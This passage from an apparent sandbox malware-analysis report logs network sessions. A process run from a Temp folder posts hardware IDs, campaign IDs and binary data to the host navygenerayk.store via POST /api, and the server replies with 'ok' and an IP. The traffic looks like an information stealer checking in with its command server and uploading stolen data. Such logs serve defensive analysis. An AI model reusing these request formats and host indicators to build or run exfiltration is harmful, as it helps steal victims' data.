69 56 4c 53 46 33 78 58 76 75 68 44 79 2f 5a 6b 68 30 6c 6d 35 39 41 33 42 46 65 77 58 79 38 57 75 47 77 4a 75 68 6c 38 79 4a 53 Data Ascii: 189bK36l7B7i+gQGTnxSxOTfBKah60LVD0EnuE285Nig9kNpzqQdrtLaMIXerZL0NevlkhCPQrXbpAMM+TgkaSSS54vPVb2uMotkZm4NouQVr6Rn0QsStf9wp1hNvOTYoPZDaJ01bY9iHwf2vn2SZSCOEIdlGzIBGiWHPImIdPnV02erL1VsHuLLNEZ+LbJFZD8U5gELkhWv4YMIrViVLSF3xXvuhDy/Zkh0lm59A3BFewXy8WuGwJuhl8yJS
2024-11-08 14:22:12 UTC	1369	IN	Data Raw: 44 74 39 75 4f 4e 56 79 4f 6f 74 76 45 52 68 35 64 38 74 51 31 72 7a 51 32 63 62 76 53 6c 64 39 78 74 69 78 35 54 4f 42 4e 4a 49 4a 44 62 72 70 33 62 37 30 41 58 79 56 53 62 77 6c 79 5a 49 43 4b 59 47 62 68 6d 7a 49 6c 58 6f 46 6d 4c 4b 6b 6f 35 4d 6d 6b 63 37 65 72 33 70 51 38 44 6d 4a 72 78 46 59 4f 44 54 49 45 42 4d 38 6b 45 76 58 2f 51 72 53 62 70 41 4d 4f 79 57 6c 46 44 51 59 54 64 32 74 50 64 48 30 36 63 35 2f 46 4d 6f 37 74 74 68 48 41 6a 36 54 57 55 59 74 79 56 56 39 78 68 35 79 35 79 47 52 35 70 64 50 58 79 68 34 31 54 4a 36 43 79 32 51 6d 54 6d 32 79 56 57 51 37 34 49 4c 78 61 73 62 41 6d 36 4f 48 76 53 74 70 78 59 30 6c 42 79 62 2f 50 67 58 59 69 2f 5a 72 74 47 61 65 6a 64 4a 30 39 4e 38 30 5a 71 47 37 4d 67 55 66 6f 62 64 73 4b 59 68 6b 4b 65 Data Ascii: Dt9uONVyOotvERh5d8tQ1rzQ2cbvSld9xtix5TOBNJIJDbrp3b70AXyVSbwlyZICKYGbhmzIlXoFmLKko5Mmkc7er3pQ8DmJrxFYODTIEBM8kEvX/QrSbpAMOyWlFDQYTd2tPdH06c5/FMo7tthHAj6TWUYtyVV9xh5y5yGR5pdPXyh41TJ6Cy2QmTm2yVWQ74ILxasbAm6OHvStpxY0lByb/PgXYi/ZrtGaejdJ09N80ZqG7MgUfobdsKYhkKe
2024-11-08 14:22:12 UTC	1369	IN	Data Raw: 7a 69 57 63 50 68 4b 4c 4e 4d 5a 4f 53 58 62 77 52 50 35 67 59 33 55 5a 4d 32 58 50 77 50 59 66 47 53 6a 68 76 53 55 48 4a 76 38 2b 42 64 69 4c 39 6d 76 30 5a 69 35 4e 49 6c 54 45 2f 39 52 32 4d 56 75 53 46 56 38 78 78 31 31 6f 65 49 52 4a 4a 41 4d 6e 6d 2f 39 56 2f 4e 35 79 72 79 42 43 6a 75 7a 32 45 63 43 4d 39 52 62 31 47 72 59 6b 69 36 48 33 79 45 7a 63 35 46 6e 31 30 77 65 62 50 6d 55 73 7a 73 49 62 52 4d 61 65 72 53 49 6b 46 4f 2f 30 5a 6a 47 37 4d 6b 57 2f 51 56 64 73 43 54 69 41 72 63 44 7a 74 75 38 37 38 52 2b 75 6f 6f 75 30 6c 75 35 4d 45 4a 64 51 6a 68 43 48 5a 52 73 79 41 52 6f 6c 68 30 7a 35 32 43 54 35 70 4b 50 58 36 35 37 31 37 48 39 53 65 39 51 32 2f 69 32 69 35 4b 54 66 42 55 61 42 71 2f 4a 46 6a 30 48 6a 43 4b 31 59 6c 53 30 68 64 38 51 Data Ascii: ziWcPhKLNMZOSXbwRP5gY3UZM2XPwPYfGSjhvSUHJv8+BdiL9mv0Zi5NIlTE/9R2MVuSFV8xx11oeIRJJAMnm/9V/N5yryBCjuz2EcCM9Rb1GrYki6H3yEzc5Fn10webPmUszsIbRMaerSIkFO/0ZjG7MkW/QVdsCTiArcDztu878R+uoou0lu5MEJdQjhCHZRsyARolh0z52CT5pKPX65717H9Se9Q2/i2i5KTfBUaBq/JFj0HjCK1YlS0hd8Q
2024-11-08 14:22:12 UTC	1369	IN	Data Raw: 50 37 79 4b 38 57 47 6e 6d 6c 32 38 45 54 2b 59 47 4e 31 47 46 4f 6c 62 39 46 7a 4c 74 6b 70 56 4c 6d 45 77 33 65 76 50 34 48 39 47 6e 49 62 34 4b 4d 4b 6e 61 4c 55 6c 4d 37 45 70 76 45 62 30 72 57 2b 67 58 66 38 6d 57 6a 6b 2b 41 54 69 35 35 75 4f 4a 53 7a 4f 67 70 76 6b 4a 69 71 5a 6c 68 51 31 43 2b 48 69 38 39 74 7a 31 62 75 44 39 71 30 70 4b 43 57 35 6c 43 4d 44 61 73 71 55 69 49 34 43 72 79 45 69 6a 70 31 69 78 57 54 66 39 4d 5a 52 79 38 49 31 54 2f 46 33 54 41 6e 6f 42 59 6e 45 41 38 63 4c 6a 6d 56 4d 76 73 4c 4c 78 44 65 71 6d 5a 59 55 4e 51 76 68 34 76 4f 36 38 74 58 50 5a 61 58 73 2b 44 69 51 69 7a 51 54 64 78 76 2f 45 52 31 36 6b 2f 38 6b 31 6b 71 59 39 68 54 55 62 79 52 57 67 5a 76 43 6c 52 38 52 68 2f 7a 70 75 4a 57 4a 68 44 4e 6d 53 38 35 46 Data Ascii: P7yK8WGnml28ET+YGN1GFOlb9FzLtkpVLmEw3evP4H9GnIb4KMKnaLUlM7EpvEb0rW+gXf8mWjk+ATi55uOJSzOgpvkJiqZlhQ1C+Hi89tz1buD9q0pKCW5lCMDasqUiI4CryEijp1ixWTf9MZRy8I1T/F3TAnoBYnEA8cLjmVMvsLLxDeqmZYUNQvh4vO68tXPZaXs+DiQizQTdxv/ER16k/8k1kqY9hTUbyRWgZvClR8Rh/zpuJWJhDNmS85F
2024-11-08 14:22:12 UTC	831	IN	Data Raw: 2f 46 4d 6f 37 74 74 68 48 41 6a 2b 51 6d 4d 53 73 79 4a 65 39 78 64 33 7a 35 71 45 52 49 42 41 4f 58 36 2f 37 31 7a 61 37 53 79 67 51 32 48 6b 32 53 6c 57 53 37 34 49 4c 78 61 73 62 41 6d 36 4b 6e 72 48 6d 5a 68 48 6e 51 38 6a 4f 4b 71 6e 56 73 53 6e 66 76 4a 59 65 75 6e 63 49 55 4e 47 37 45 64 6e 48 72 34 73 56 2f 45 53 63 38 32 52 67 45 4f 55 54 6a 46 33 73 75 64 55 79 4f 34 30 76 77 6f 6d 71 64 41 35 42 42 43 2b 63 57 4d 61 68 53 39 48 75 67 63 2b 33 64 57 4a 52 74 49 58 66 48 65 68 36 6c 6e 4d 35 79 75 30 51 57 6e 6f 31 43 46 45 53 2f 35 44 5a 42 36 79 4b 31 7a 77 45 58 6e 57 6e 59 70 59 6b 6b 4d 34 4e 76 32 6e 56 74 43 6e 66 76 4a 36 61 2b 4c 62 49 55 6c 64 76 6c 6b 68 43 50 51 72 58 62 70 41 4d 4d 79 65 68 55 79 5a 54 44 39 34 75 4f 31 65 78 2b 30 Data Ascii: /FMo7tthHAj+QmMSsyJe9xd3z5qERIBAOX6/71za7SygQ2Hk2SlWS74ILxasbAm6KnrHmZhHnQ8jOKqnVsSnfvJYeuncIUNG7EdnHr4sV/ESc82RgEOUTjF3sudUyO40vwomqdA5BBC+cWMahS9Hugc+3dWJRtIXfHeh6lnM5yu0QWno1CFES/5DZB6yK1zwEXnWnYpYkkM4Nv2nVtCnfvJ6a+LbIUldvlkhCPQrXbpAMMyehUyZTD94uO1ex+0
2024-11-08 14:22:12 UTC	1369	IN	Data Raw: 31 38 65 37 0d 0a 6b 36 30 41 54 44 53 31 64 59 59 33 41 38 75 4e 75 75 6e 46 73 76 31 4e 4c 52 4a 66 75 71 51 48 33 70 4c 36 45 74 67 47 72 55 53 62 39 51 56 63 63 65 62 7a 48 75 45 51 69 78 31 74 75 42 76 39 75 6b 68 70 6b 31 6d 37 39 64 68 43 67 6a 78 42 6a 63 6f 39 47 51 52 78 56 59 77 33 4e 58 57 43 71 64 4d 4d 6e 69 30 38 55 43 46 78 44 43 2f 52 57 50 6f 6c 32 38 45 54 72 34 65 50 31 2f 30 4b 45 43 36 51 43 43 57 7a 74 73 5a 78 52 39 75 61 66 33 2b 45 64 36 6e 66 75 41 45 4b 50 75 58 65 51 51 50 38 45 74 75 45 72 6f 76 51 2b 67 65 63 39 4b 57 79 58 53 73 62 6a 46 39 76 2b 70 65 77 39 6b 59 6b 30 64 6a 35 64 6f 75 54 33 62 41 55 32 77 66 75 69 74 48 36 31 67 2b 68 4a 72 4f 45 71 73 50 64 44 61 4d 71 52 48 51 70 33 37 79 66 32 76 6e 32 53 5a 53 57 62 Data Ascii: 18e7k60ATDS1dYY3A8uNuunFsv1NLRJfuqQH3pL6EtgGrUSb9QVccebzHuEQix1tuBv9ukhpk1m79dhCgjxBjco9GQRxVYw3NXWCqdMMni08UCFxDC/RWPol28ETr4eP1/0KEC6QCCWztsZxR9uaf3+Ed6nfuAEKPuXeQQP8EtuErovQ+gec9KWyXSsbjF9v+pew9kYk0dj5douT3bAU2wfuitH61g+hJrOEqsPdDaMqRHQp37yf2vn2SZSWb
2024-11-08 14:22:12 UTC	1369	IN	Data Raw: 70 6d 77 4a 75 6c 39 7a 31 6f 65 49 53 59 52 4d 65 30 69 4e 77 6b 62 4c 39 79 43 78 64 46 62 43 32 79 64 44 55 76 6c 41 53 54 48 30 59 68 48 31 57 43 6a 39 31 63 59 4b 72 51 46 38 62 76 4f 2f 45 66 33 6b 4b 4c 78 4e 66 76 69 61 42 46 4e 4c 37 6b 42 73 55 66 70 73 56 37 70 41 49 49 72 56 69 6c 76 53 46 32 77 6b 36 4c 49 43 6e 37 64 30 72 51 52 78 71 63 46 68 48 42 71 77 42 6e 31 52 37 47 77 57 2b 51 70 69 77 70 61 59 53 64 56 78 41 6c 43 77 39 6c 76 70 36 6a 61 31 64 46 62 38 31 43 39 4b 54 2b 68 58 4c 31 2f 30 49 78 47 69 49 54 43 4d 32 59 68 4a 68 41 38 44 4f 50 50 2f 45 5a 43 6e 45 37 46 45 5a 75 37 42 4d 41 6c 75 2f 56 64 6c 4d 4c 6b 38 56 72 70 57 4d 4d 4c 56 31 68 6e 63 44 7a 68 6e 38 37 38 42 6d 72 78 7a 34 52 30 34 75 38 68 76 58 51 6a 6f 42 6a 64 Data Ascii: pmwJul9z1oeISYRMe0iNwkbL9yCxdFbC2ydDUvlASTH0YhH1WCj91cYKrQF8bvO/Ef3kKLxNfviaBFNL7kBsUfpsV7pAIIrVilvSF2wk6LICn7d0rQRxqcFhHBqwBn1R7GwW+QpiwpaYSdVxAlCw9lvp6ja1dFb81C9KT+hXL1/0IxGiITCM2YhJhA8DOPP/EZCnE7FEZu7BMAlu/VdlMLk8VrpWMMLV1hncDzhn878Bmrxz4R04u8hvXQjoBjd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49871	188.114.96.3	443	2764	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:13 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: navygenerayk.store
2024-11-08 14:22:13 UTC	12851	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:13 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7an5lhstl2n56dapi3vthdpgcv; expires=Tue, 04-Mar-2025 08:08:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iy5VPQex6WP321wn3ruOw3gevwZQshmN1BqZNo%2B8hcShjFAw%2F%2FW%2BqloDafLDei0NHATQOS29SDgL46DLDYyRmoUbfq29FvkOJV0JgLkVcLfjxrGRkHy9S7UJgYXPBDBkNTFaowg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636c55d5e6b24-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1074&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13793&delivery_rate=2732075&cwnd=251&unsent_bytes=0&cid=c537290e1abbe395&ts=636&x=0"
2024-11-08 14:22:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	49874	188.114.96.3	443	7432	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:14 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: navygenerayk.store
2024-11-08 14:22:14 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=2F61B1A524C035414E953C988E5C1F0B
2024-11-08 14:22:15 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46r8fmkdn8r8alincr05rm0s9n; expires=Tue, 04-Mar-2025 08:08:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vcci70BTu3QehYfe3JeLrf%2BzTFFu83i8xXpxU6uPW4te%2BBEmoE7yxM5dnwSdCgP%2F5S7%2BSmiWmVDPubYrjmf7y%2FrobfS9%2BDv6a5c9uqsx4sPMWAExrQCvbiissdUkeEPkgIWdHuo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636cdfe82e546-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1207&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2401326&cwnd=251&unsent_bytes=0&cid=1204a3782d552c3f&ts=703&x=0"
2024-11-08 14:22:15 UTC	214	IN	Data Raw: 64 30 0d 0a 34 58 37 63 66 68 4e 4d 59 4b 4b 30 74 66 53 79 55 43 71 50 6f 66 67 61 43 6b 4c 58 43 46 2b 36 77 5a 6b 66 51 43 71 36 68 47 36 36 42 66 34 4c 4d 58 5a 43 79 73 44 42 68 49 67 4d 42 64 4f 4f 79 53 49 2f 62 4f 55 35 61 70 54 77 71 43 78 75 47 34 7a 59 51 5a 49 4b 75 52 39 2b 45 45 2f 51 31 64 75 51 33 54 30 45 36 74 6d 64 4f 43 5a 67 73 58 78 39 67 50 47 31 50 53 55 49 67 4c 55 54 7a 51 58 2b 43 7a 46 32 51 73 72 41 77 59 53 49 44 41 58 54 6a 73 6b 69 50 32 7a 6c 4f 57 71 55 38 4b 67 73 62 68 75 4d 32 45 47 4f 47 4c 6f 69 50 43 67 46 78 4a 72 51 6a 4e 64 79 42 71 33 48 6a 44 67 77 63 76 73 71 4f 70 6a 37 71 47 49 64 0d 0a Data Ascii: d04X7cfhNMYKK0tfSyUCqPofgaCkLXCF+6wZkfQCq6hG66Bf4LMXZCysDBhIgMBdOOySI/bOU5apTwqCxuG4zYQZIKuR9+EE/Q1duQ3T0E6tmdOCZgsXx9gPG1PSUIgLUTzQX+CzF2QsrAwYSIDAXTjskiP2zlOWqU8KgsbhuM2EGOGLoiPCgFxJrQjNdyBq3HjDgwcvsqOpj7qGId
2024-11-08 14:22:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	49875	188.114.96.3	443	2764	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:14 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19123 Host: navygenerayk.store
2024-11-08 14:22:14 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:14 UTC	3792	OUT	Data Raw: a5 ca 92 a3 98 fe cd 2c 28 46 14 10 27 12 c6 05 04 46 88 84 fa 4a 57 99 06 95 e2 72 95 52 92 83 cb 84 a1 91 71 a2 10 51 8c 30 32 2a 4e 18 19 1f 11 e1 9e a1 c2 70 49 16 9a 2f 8c 13 25 c6 19 aa 71 95 5a 92 a6 91 2a 50 09 06 be 7b 9a 78 40 09 da de a8 ca 95 66 e7 bc 59 87 2a 65 9a 7c 35 8e a6 4a ba 5b 03 23 a2 02 0d ad 6a 29 9e f1 66 87 3c b5 5c 83 62 a6 c9 ca 31 09 86 ca 72 34 a8 c9 a6 0c 1c 57 ab 94 d9 f9 7d 1b b3 a5 c0 49 a9 4c 86 62 fd 0c 9c 21 c5 24 7a cb 26 87 56 a3 1a 4c 8e e1 a8 12 ef db ac d6 c8 55 1a 39 6e c2 2c 06 e6 88 98 3e 13 2d aa 1c 8d 0c cc ad 2c 03 55 f4 df ac 56 69 70 d3 93 40 2c 8c 5a aa c1 fb f3 35 47 9d 2a 05 cb 66 d2 57 21 18 00 4d 4d 47 b3 d1 74 a9 2c bf 3b 4a 7a 9e 0a 16 4d 0a 88 8f 88 13 7a b9 0b 53 34 aa e9 18 aa 91 a8 35 aa 5c 54 Data Ascii: ,(F'FJWrRqQ02NpI/%qZP{x@fYe\|5J[#j)f<\b1r4W}ILb!$z&VLU9n,>-,UVip@,Z5GfW!MMGt,;JzMzS45\T
2024-11-08 14:22:15 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fmfvdr89sabmmgl1hplb0sao4l; expires=Tue, 04-Mar-2025 08:08:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PvoUIVmChqBOROoYn8APJ%2FjTbRPlIEEnzC3HQux9cQKq2yFXoAtn7V0LyIVgbqI46YLAtH8iojCOn8fKubL4UREAw8uGKLZI1T7iw%2BQu3WSYy53abVDeN1C8lLjQpzVCeCfTZqk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636ceeb2c316e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1328&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20087&delivery_rate=2180722&cwnd=47&unsent_bytes=0&cid=ea5959d9ef219ccf&ts=868&x=0"
2024-11-08 14:22:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	49877	188.114.96.3	443	2764	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:17 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20247 Host: navygenerayk.store
2024-11-08 14:22:17 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:17 UTC	4916	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-11-08 14:22:17 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bh9g1s50pe9j5em35oq5gu06qn; expires=Tue, 04-Mar-2025 08:08:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B0LVFGX0W3QxzldGrpaAatWpuHxFKk5SXMuxelybdc8RuPxqTZCxxjdCucKo8%2B2t0LP07BZMbdO12Wu4rHsVEec5WBMuTYQTWiy2qPh7q3T8rd7oyXf4vXkfD5MDJxfjslqMDkw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df636de1a4b2c87-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2515&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21211&delivery_rate=1284826&cwnd=228&unsent_bytes=0&cid=7980068a832cc9f6&ts=722&x=0"
2024-11-08 14:22:17 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	49879	188.114.96.3	443	2764	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:20 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: navygenerayk.store
